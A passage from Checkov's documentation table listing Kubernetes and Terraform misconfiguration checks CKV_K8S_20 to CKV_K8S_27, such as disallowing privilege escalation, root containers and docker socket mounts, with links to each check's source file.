[AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowPrivilegeEscalation.py)                                                                        |\n| 6852 | CKV_K8S_20               | resource                         | kubernetes_pod_v1                                                                                | Containers should not run with allowPrivilegeEscalation                                                                                                                                                  | Terraform               | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowPrivilegeEscalation.py)                                                                        |\n| 6853 | CKV_K8S_21               | resource                         | ConfigMap                                                                                        | The default namespace should not be used                                                                                                                                                                 | Kubernetes              | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py)                                                                                              |\n| 6854 | CKV_K8S_21               | resource                         | CronJob                                                                                          | The default namespace should not be used                                                                                                                                                                 | Kubernetes              | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py)                                                                                              |\n| 6855 | CKV_K8S_21               | resource                         | DaemonSet                                                                                        | The default namespace should not be used                                                                                                                                                                 | Kubernetes              | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py)                                                                                              |\n| 6856 | CKV_K8S_21               | resource                         | Deployment                                                                                       | The default namespace should not be used                                                                                                                                                                 | Kubernetes              | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py)                                                                                              |\n| 6857 | CKV_K8S_21               | resource                         | Ingress                                                                                          | The default namespace should not be used                                                                                                                                                                 | Kubernetes              | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py)                                                                                              |\n| 6858 | CKV_K8S_21               | resource                         | Job                                                                                              | The default namespace should not be used                                                                                                                                                                 | Kubernetes              | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py)                                                                                              |\n| 6859 | CKV_K8S_21               | resource                         | Pod                                                                                              | The default namespace should not be used                                                                                                                                                                 | Kubernetes              | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py)                                                                                              |\n| 6860 | CKV_K8S_21               | resource                         | ReplicaSet                                                                                       | The default namespace should not be used                                                                                                                                                                 | Kubernetes              | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py)                                                                                              |\n| 6861 | CKV_K8S_21               | resource                         | ReplicationController                                                                            | The default namespace should not be used                                                                                                                                                                 | Kubernetes              | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py)                                                                                              |\n| 6862 | CKV_K8S_21               | resource                         | Role                                                                                             | The default namespace should not be used                                                                                                                                                                 | Kubernetes              | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py)                                                                                              |\n| 6863 | CKV_K8S_21               | resource                         | RoleBinding                                                                                      | The default namespace should not be used                                                                                                                                                                 | Kubernetes              | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py)                                                                                              |\n| 6864 | CKV_K8S_21               | resource                         | Secret                                                                                           | The default namespace should not be used                                                                                                                                                                 | Kubernetes              | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py)                                                                                              |\n| 6865 | CKV_K8S_21               | resource                         | Service                                                                                          | The default namespace should not be used                                                                                                                                                                 | Kubernetes              | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py)                                                                                              |\n| 6866 | CKV_K8S_21               | resource                         | ServiceAccount                                                                                   | The default namespace should not be used                                                                                                                                                                 | Kubernetes              | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py)                                                                                              |\n| 6867 | CKV_K8S_21               | resource                         | StatefulSet                                                                                      | The default namespace should not be used                                                                                                                                                                 | Kubernetes              | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py)                                                                                              |\n| 6868 | CKV_K8S_21               | resource                         | kubernetes_config_map                                                                            | The default namespace should not be used                                                                                                                                                                 | Terraform               | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 6869 | CKV_K8S_21               | resource                         | kubernetes_config_map_v1                                                                         | The default namespace should not be used                                                                                                                                                                 | Terraform               | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 6870 | CKV_K8S_21               | resource                         | kubernetes_cron_job                                                                              | The default namespace should not be used                                                                                                                                                                 | Terraform               | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 6871 | CKV_K8S_21               | resource                         | kubernetes_cron_job_v1                                                                           | The default namespace should not be used                                                                                                                                                                 | Terraform               | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 6872 | CKV_K8S_21               | resource                         | kubernetes_daemon_set_v1                                                                         | The default namespace should not be used                                                                                                                                                                 | Terraform               | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 6873 | CKV_K8S_21               | resource                         | kubernetes_daemonset                                                                             | The default namespace should not be used                                                                                                                                                                 | Terraform               | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 6874 | CKV_K8S_21               | resource                         | kubernetes_deployment                                                                            | The default namespace should not be used                                                                                                                                                                 | Terraform               | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 6875 | CKV_K8S_21               | resource                         | kubernetes_deployment_v1                                                                         | The default namespace should not be used                                                                                                                                                                 | Terraform               | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 6876 | CKV_K8S_21               | resource                         | kubernetes_ingress                                                                               | The default namespace should not be used                                                                                                                                                                 | Terraform               | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 6877 | CKV_K8S_21               | resource                         | kubernetes_ingress_v1                                                                            | The default namespace should not be used                                                                                                                                                                 | Terraform               | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 6878 | CKV_K8S_21               | resource                         | kubernetes_job                                                                                   | The default namespace should not be used                                                                                                                                                                 | Terraform               | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 6879 | CKV_K8S_21               | resource                         | kubernetes_job_v1                                                                                | The default namespace should not be used                                                                                                                                                                 | Terraform               | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 6880 | CKV_K8S_21               | resource                         | kubernetes_pod                                                                                   | The default namespace should not be used                                                                                                                                                                 | Terraform               | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 6881 | CKV_K8S_21               | resource                         | kubernetes_pod_v1                                                                                | The default namespace should not be used                                                                                                                                                                 | Terraform               | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 6882 | CKV_K8S_21               | resource                         | kubernetes_replication_controller                                                                | The default namespace should not be used                                                                                                                                                                 | Terraform               | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 6883 | CKV_K8S_21               | resource                         | kubernetes_replication_controller_v1                                                             | The default namespace should not be used                                                                                                                                                                 | Terraform               | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 6884 | CKV_K8S_21               | resource                         | kubernetes_role_binding                                                                          | The default namespace should not be used                                                                                                                                                                 | Terraform               | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 6885 | CKV_K8S_21               | resource                         | kubernetes_role_binding_v1                                                                       | The default namespace should not be used                                                                                                                                                                 | Terraform               | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 6886 | CKV_K8S_21               | resource                         | kubernetes_secret                                                                                | The default namespace should not be used                                                                                                                                                                 | Terraform               | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 6887 | CKV_K8S_21               | resource                         | kubernetes_secret_v1                                                                             | The default namespace should not be used                                                                                                                                                                 | Terraform               | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 6888 | CKV_K8S_21               | resource                         | kubernetes_service                                                                               | The default namespace should not be used                                                                                                                                                                 | Terraform               | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 6889 | CKV_K8S_21               | resource                         | kubernetes_service_account                                                                       | The default namespace should not be used                                                                                                                                                                 | Terraform               | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 6890 | CKV_K8S_21               | resource                         | kubernetes_service_account_v1                                                                    | The default namespace should not be used                                                                                                                                                                 | Terraform               | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 6891 | CKV_K8S_21               | resource                         | kubernetes_service_v1                                                                            | The default namespace should not be used                                                                                                                                                                 | Terraform               | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 6892 | CKV_K8S_21               | resource                         | kubernetes_stateful_set                                                                          | The default namespace should not be used                                                                                                                                                                 | Terraform               | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 6893 | CKV_K8S_21               | resource                         | kubernetes_stateful_set_v1                                                                       | The default namespace should not be used                                                                                                                                                                 | Terraform               | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py)                                                                                        |\n| 6894 | CKV_K8S_22               | resource                         | CronJob                                                                                          | Use read-only filesystem for containers where possible                                                                                                                                                   | Kubernetes              | [ReadOnlyFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py)                                                                                          |\n| 6895 | CKV_K8S_22               | resource                         | DaemonSet                                                                                        | Use read-only filesystem for containers where possible                                                                                                                                                   | Kubernetes              | [ReadOnlyFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py)                                                                                          |\n| 6896 | CKV_K8S_22               | resource                         | Deployment                                                                                       | Use read-only filesystem for containers where possible                                                                                                                                                   | Kubernetes              | [ReadOnlyFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py)                                                                                          |\n| 6897 | CKV_K8S_22               | resource                         | DeploymentConfig                                                                                 | Use read-only filesystem for containers where possible                                                                                                                                                   | Kubernetes              | [ReadOnlyFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py)                                                                                          |\n| 6898 | CKV_K8S_22               | resource                         | Job                                                                                              | Use read-only filesystem for containers where possible                                                                                                                                                   | Kubernetes              | [ReadOnlyFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py)                                                                                          |\n| 6899 | CKV_K8S_22               | resource                         | Pod                                                                                              | Use read-only filesystem for containers where possible                                                                                                                                                   | Kubernetes              | [ReadOnlyFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py)                                                                                          |\n| 6900 | CKV_K8S_22               | resource                         | PodTemplate                                                                                      | Use read-only filesystem for containers where possible                                                                                                                                                   | Kubernetes              | [ReadOnlyFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py)                                                                                          |\n| 6901 | CKV_K8S_22               | resource                         | ReplicaSet                                                                                       | Use read-only filesystem for containers where possible                                                                                                                                                   | Kubernetes              | [ReadOnlyFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py)                                                                                          |\n| 6902 | CKV_K8S_22               | resource                         | ReplicationController                                                                            | Use read-only filesystem for containers where possible                                                                                                                                                   | Kubernetes              | [ReadOnlyFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py)                                                                                          |\n| 6903 | CKV_K8S_22               | resource                         | StatefulSet                                                                                      | Use read-only filesystem for containers where possible                                                                                                                                                   | Kubernetes              | [ReadOnlyFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py)                                                                                          |\n| 6904 | CKV_K8S_22               | resource                         | kubernetes_deployment                                                                            | Use read-only filesystem for containers where possible                                                                                                                                                   | Terraform               | [ReadonlyRootFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ReadonlyRootFilesystem.py)                                                                            |\n| 6905 | CKV_K8S_22               | resource                         | kubernetes_deployment_v1                                                                         | Use read-only filesystem for containers where possible                                                                                                                                                   | Terraform               | [ReadonlyRootFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ReadonlyRootFilesystem.py)                                                                            |\n| 6906 | CKV_K8S_22               | resource                         | kubernetes_pod                                                                                   | Use read-only filesystem for containers where possible                                                                                                                                                   | Terraform               | [ReadonlyRootFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ReadonlyRootFilesystem.py)                                                                            |\n| 6907 | CKV_K8S_22               | resource                         | kubernetes_pod_v1                                                                                | Use read-only filesystem for containers where possible                                                                                                                                                   | Terraform               | [ReadonlyRootFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ReadonlyRootFilesystem.py)                                                                            |\n| 6908 | CKV_K8S_23               | resource                         | CronJob                                                                                          | Minimize the admission of root containers                                                                                                                                                                | Kubernetes              | [RootContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainers.py)                                                                                                  |\n| 6909 | CKV_K8S_23               | resource                         | DaemonSet                                                                                        | Minimize the admission of root containers                                                                                                                                                                | Kubernetes              | [RootContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainers.py)                                                                                                  |\n| 6910 | CKV_K8S_23               | resource                         | Deployment                                                                                       | Minimize the admission of root containers                                                                                                                                                                | Kubernetes              | [RootContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainers.py)                                                                                                  |\n| 6911 | CKV_K8S_23               | resource                         | Job                                                                                              | Minimize the admission of root containers                                                                                                                                                                | Kubernetes              | [RootContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainers.py)                                                                                                  |\n| 6912 | CKV_K8S_23               | resource                         | Pod                                                                                              | Minimize the admission of root containers                                                                                                                                                                | Kubernetes              | [RootContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainers.py)                                                                                                  |\n| 6913 | CKV_K8S_23               | resource                         | ReplicaSet                                                                                       | Minimize the admission of root containers                                                                                                                                                                | Kubernetes              | [RootContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainers.py)                                                                                                  |\n| 6914 | CKV_K8S_23               | resource                         | ReplicationController                                                                            | Minimize the admission of root containers                                                                                                                                                                | Kubernetes              | [RootContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainers.py)                                                                                                  |\n| 6915 | CKV_K8S_23               | resource                         | StatefulSet                                                                                      | Minimize the admission of root containers                                                                                                                                                                | Kubernetes              | [RootContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainers.py)                                                                                                  |\n| 6916 | CKV_K8S_24               | resource                         | PodSecurityPolicy                                                                                | Do not allow containers with added capability                                                                                                                                                            | Kubernetes              | [AllowedCapabilitiesPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesPSP.py)                                                                                  |\n| 6917 | CKV_K8S_24               | resource                         | kubernetes_pod_security_policy                                                                   | Do not allow containers with added capability                                                                                                                                                            | Terraform               | [AllowedCapabilitiesPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowedCapabilitiesPSP.py)                                                                            |\n| 6918 | CKV_K8S_25               | resource                         | CronJob                                                                                          | Minimize the admission of containers with added capability                                                                                                                                               | Kubernetes              | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py)                                                                                        |\n| 6919 | CKV_K8S_25               | resource                         | DaemonSet                                                                                        | Minimize the admission of containers with added capability                                                                                                                                               | Kubernetes              | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py)                                                                                        |\n| 6920 | CKV_K8S_25               | resource                         | Deployment                                                                                       | Minimize the admission of containers with added capability                                                                                                                                               | Kubernetes              | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py)                                                                                        |\n| 6921 | CKV_K8S_25               | resource                         | DeploymentConfig                                                                                 | Minimize the admission of containers with added capability                                                                                                                                               | Kubernetes              | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py)                                                                                        |\n| 6922 | CKV_K8S_25               | resource                         | Job                                                                                              | Minimize the admission of containers with added capability                                                                                                                                               | Kubernetes              | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py)                                                                                        |\n| 6923 | CKV_K8S_25               | resource                         | Pod                                                                                              | Minimize the admission of containers with added capability                                                                                                                                               | Kubernetes              | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py)                                                                                        |\n| 6924 | CKV_K8S_25               | resource                         | PodTemplate                                                                                      | Minimize the admission of containers with added capability                                                                                                                                               | Kubernetes              | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py)                                                                                        |\n| 6925 | CKV_K8S_25               | resource                         | ReplicaSet                                                                                       | Minimize the admission of containers with added capability                                                                                                                                               | Kubernetes              | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py)                                                                                        |\n| 6926 | CKV_K8S_25               | resource                         | ReplicationController                                                                            | Minimize the admission of containers with added capability                                                                                                                                               | Kubernetes              | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py)                                                                                        |\n| 6927 | CKV_K8S_25               | resource                         | StatefulSet                                                                                      | Minimize the admission of containers with added capability                                                                                                                                               | Kubernetes              | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py)                                                                                        |\n| 6928 | CKV_K8S_25               | resource                         | kubernetes_deployment                                                                            | Minimize the admission of containers with added capability                                                                                                                                               | Terraform               | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowedCapabilities.py)                                                                                  |\n| 6929 | CKV_K8S_25               | resource                         | kubernetes_deployment_v1                                                                         | Minimize the admission of containers with added capability                                                                                                                                               | Terraform               | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowedCapabilities.py)                                                                                  |\n| 6930 | CKV_K8S_25               | resource                         | kubernetes_pod                                                                                   | Minimize the admission of containers with added capability                                                                                                                                               | Terraform               | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowedCapabilities.py)                                                                                  |\n| 6931 | CKV_K8S_25               | resource                         | kubernetes_pod_v1                                                                                | Minimize the admission of containers with added capability                                                                                                                                               | Terraform               | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowedCapabilities.py)                                                                                  |\n| 6932 | CKV_K8S_26               | resource                         | CronJob                                                                                          | Do not specify hostPort unless absolutely necessary                                                                                                                                                      | Kubernetes              | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/HostPort.py)                                                                                                              |\n| 6933 | CKV_K8S_26               | resource                         | DaemonSet                                                                                        | Do not specify hostPort unless absolutely necessary                                                                                                                                                      | Kubernetes              | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/HostPort.py)                                                                                                              |\n| 6934 | CKV_K8S_26               | resource                         | Deployment                                                                                       | Do not specify hostPort unless absolutely necessary                                                                                                                                                      | Kubernetes              | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/HostPort.py)                                                                                                              |\n| 6935 | CKV_K8S_26               | resource                         | DeploymentConfig                                                                                 | Do not specify hostPort unless absolutely necessary                                                                                                                                                      | Kubernetes              | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/HostPort.py)                                                                                                              |\n| 6936 | CKV_K8S_26               | resource                         | Job                                                                                              | Do not specify hostPort unless absolutely necessary                                                                                                                                                      | Kubernetes              | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/HostPort.py)                                                                                                              |\n| 6937 | CKV_K8S_26               | resource                         | Pod                                                                                              | Do not specify hostPort unless absolutely necessary                                                                                                                                                      | Kubernetes              | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/HostPort.py)                                                                                                              |\n| 6938 | CKV_K8S_26               | resource                         | PodTemplate                                                                                      | Do not specify hostPort unless absolutely necessary                                                                                                                                                      | Kubernetes              | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/HostPort.py)                                                                                                              |\n| 6939 | CKV_K8S_26               | resource                         | ReplicaSet                                                                                       | Do not specify hostPort unless absolutely necessary                                                                                                                                                      | Kubernetes              | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/HostPort.py)                                                                                                              |\n| 6940 | CKV_K8S_26               | resource                         | ReplicationController                                                                            | Do not specify hostPort unless absolutely necessary                                                                                                                                                      | Kubernetes              | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/HostPort.py)                                                                                                              |\n| 6941 | CKV_K8S_26               | resource                         | StatefulSet                                                                                      | Do not specify hostPort unless absolutely necessary                                                                                                                                                      | Kubernetes              | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/HostPort.py)                                                                                                              |\n| 6942 | CKV_K8S_26               | resource                         | kubernetes_deployment                                                                            | Do not specify hostPort unless absolutely necessary                                                                                                                                                      | Terraform               | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/HostPort.py)                                                                                                        |\n| 6943 | CKV_K8S_26               | resource                         | kubernetes_deployment_v1                                                                         | Do not specify hostPort unless absolutely necessary                                                                                                                                                      | Terraform               | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/HostPort.py)                                                                                                        |\n| 6944 | CKV_K8S_26               | resource                         | kubernetes_pod                                                                                   | Do not specify hostPort unless absolutely necessary                                                                                                                                                      | Terraform               | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/HostPort.py)                                                                                                        |\n| 6945 | CKV_K8S_26               | resource                         | kubernetes_pod_v1                                                                                | Do not specify hostPort unless absolutely necessary                                                                                                                                                      | Terraform               | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/HostPort.py)                                                                                                        |\n| 6946 | CKV_K8S_27               | resource                         | CronJob                                                                                          | Do not expose the docker daemon socket to containers                                                                                                                                                     | Kubernetes              | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DockerSocketVolume.py)                                                                                          |\n| 6947 | CKV_K8S_27               | resource                         | DaemonSet                                                                                        | Do not expose the docker daemon socket to containers                                                                                                                                                     | Kubernetes              | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DockerSocketVolume.py)                                                                                          |\n| 6948 | CKV_K8S_27               | resource                         | Deployment                                                                                       | Do not expose the docker daemon socket to containers                                                                                                                                                     | Kubernetes              | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DockerSocketVolume.py)                                                                                          |\n| 6949 | CKV_K8S_27               | resource                         | Job                                                                                              | Do not expose the docker daemon socket to containers                                                                                                                                                     | Kubernetes              | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DockerSocketVolume.py)                                                                                          |\n| 6950 | CKV_K8S_27               | resource                         | Pod                                                                                              | Do not expose the docker daemon socket to containers                                                                                                                                                     | Kubernetes              | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DockerSocketVolume.py)                                                                                          |\n| 6951 | CKV_K8S_27               | resource                         | ReplicaSet                                                                                       | Do not expose the docker daemon socket to containers                                                                                                                                                     | Kubernetes              | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DockerSocketVolume.py)                                                                                          |\n| 6952 | CKV_K8S_27               | resource                         | ReplicationController                                                                            | Do not expose the docker daemon socket to containers                                                                                                                                                     | Kubernetes              | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DockerSocketVolume.py)                                                                                          |\n| 6953 | CKV_K8S_27               | resource                         | StatefulSet                                                                                      | Do not expose the docker daemon socket to containers                                                                                                                                                     | Kubernetes              | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DockerSocketVolume.py)                                                                                          |\n| 6954 | CKV_K8S_27               | resource                         | kubernetes_daemon_set_v1                                                                         | Do not expose the docker daemon socket to containers                                                                                                                                                     | Terraform               | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DockerSocketVolume.py)                                                                                    |\n| 6955 | CKV_K8S_27               | resource                         | kubernetes_daemonset                                                                             | Do not expose the docker daemon socket to containers                                                                                                                                                     | Terraform               | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DockerSocketVolume.py)                                                                                    |\n| 6956 | CKV_K8S_27               | resource                         | kubernetes_deployment                                                                            | Do not expose the docker daemon socket to containers                                                                                                                                                     | Terraform               | 